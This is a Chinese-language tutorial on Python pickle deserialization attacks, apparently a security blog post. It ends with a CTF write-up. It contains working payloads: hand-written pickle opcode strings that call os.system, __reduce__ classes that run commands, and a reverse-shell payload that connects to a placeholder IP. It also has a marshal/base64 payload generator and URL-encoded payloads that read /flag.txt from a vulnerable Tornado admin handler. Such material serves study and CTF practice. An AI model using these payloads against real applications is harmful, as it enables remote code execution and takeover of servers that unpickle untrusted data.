Python中的序列化操作是通过pickle
和 cPickle
模块(操作是一样的,这里以pickle为例):
1、dump
和load
与文件操作结合起来:
(1)序列化:
pickle.dump(obj, file, protocol=None,)
必填参数obj
表示将要封装的对象,必填参数file
表示obj
要写入的文件对象,file
必须以二进制可写模式打开,即wb
。
(2)反序列化
pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"
必填参数file
必须以二进制可读模式打开,即rb
,其他都为可选参数。
(3)示例:
import pickle
data = ['aa', 'bb', 'cc']
with open("./test.pkl", "wb") as f:
pickle.dump(data, f)
with open("./test.pkl", "rb") as ff:
d = pickle.load(ff)
print(d)
# ['aa', 'bb', 'cc']
2、dumps
与loads
则不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换。
(1)序列化:
pickle.dumps(obj)
(2)反序列化
pickle.loads(bytes_object)
(3)示例:
# python3
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)
d = pickle.loads(p)
print(d)
output:
b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.'
['aa', 'bb', 'cc']
# python2
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d
output:
(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.
['aa', 'bb', 'cc']
要想真正的利用反序列化,我们还得从底层了解一下pickle数据的格式是什么样的。
c
:读取新的一行作为模块名module
,读取下一行作为对象名object
,然后将module.object
压入到堆栈中。(
:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t
搭配使用,以产生一个元组。t
:从堆栈中弹出对象,直到一个(
被弹出,并创建一个包含弹出对象(除了(
)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。S
:读取引号中的字符串直到换行符处,然后将它压入堆栈。R
:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。.
:结束pickle简单说来就是:
c
:以c开始的后面两行的作用类似os.system
的调用,其中cos
在第一行,system
在第二行。(
:相当于左括号t
:相当于右括号S
:表示本行的内容一个字符串R
:执行紧靠自己左边的一个括号对(即(
和t
之间)的内容.
:代表该pickle结束举一个例子:
cos
system
(S'whoami'
tR.
我们将上面的序列化字符串在python2下反序列化,相当于执行了os.system('whoami')
# python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."
pickle.loads(s)
1、可能出现的地方:
2、利用方式
python中的类有一个__reduce__
方法,类似与PHP中的wakeup
,在反序列化的时候会自动调用。
这里注意,在python2中只有内置类才有__reduce__
方法,即用class A(object)
声明的类,而python3中已经默认都是内置类了,具体可参考这篇文章
而我们定义的__reduce__
可以返回一个元组,这个元组包含2到5个元素,主要用到前两个参数,即一个可调用的对象,用于重建对象时调用,一个参数元素(也是元组形式),供那个可调用对象使用。
举个例子就清楚了:
import pickle
import os
class A(object):
def __reduce__(self):
return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)
我们再试一下反弹shell,在ubuntu上运行下列代码:
import pickle
import os
class A(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(shell,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)
pickle.loads
是会解决import 问题,对于未引入的module
会自动尝试import
。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen
pickle 是不能序列化代码对象的,但是自从 python 2.6 起,Python 给我们提供了一个可以序列化code对象的模块Marshal
,如下:
import pickle
import marshal
import base64
def code():
import os
os.system('whoami')
code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle
输出如下:
为了保证格式问题采用base64编码一下,但是我们并不能像前面那样利用__reduce__
来调用,因为__reduce__
是利用调用某个可调用对象(callable) 并传递参数来执行的,而我们这个函数本身就是一个 callable ,我们需要执行它,而不是将他作为某个函数的参数。
这时候就需要利用PVM操作码来进行构造了,想要这段输出的base64的内容得到执行,我们需要如下代码:
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
Python 能通过 types.FunctionTyle(func_code,globals(),'')()
来动态地创建匿名函数,所以上面的语句实际上就是:
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
最终上面的例子构造出来的PVM语句如下:
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
我们将他反序列化一下看看:
import pickle
s ="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
"""
pickle.loads(s)
这样我们可以用如下脚本构造payload,再根据实际情况对payload进行url编码之类的操作:
import marshal
import base64
def code():
pass # any code here
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
这题先通过逻辑漏洞修改表单的折扣来购买lv6产品,然后伪造JWT为admin拿到源码,我们直接来讲python反序列化的地方。
审计一下源码,使用的tornado框架,问题在views/Admin.py
中:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
可以看到在post
方法中,使用become
传参进去,并且对传进来的值进行url
解码,然后反序列化,反序列化的结果通过p
在前端回显了。
这里就存在一个反序列化漏洞,但是这题过滤了很多执行系统命令的函数,我看网上大多数的wp直接猜出/flag.txt
然后用eval(open('/flag.txt','r').read())
来读取文件了。
实际上这里可以使用commands.getoutput()
来执行命令:
# coding=utf8
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = payload()
print urllib.quote(pickle.dumps(a))
得到:
ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
再将上面脚本的ls /
改为cat /flag.txt
,得到最终payload:
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
参考链接:
http://www.polaris-lab.com/index.php/archives/178/
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/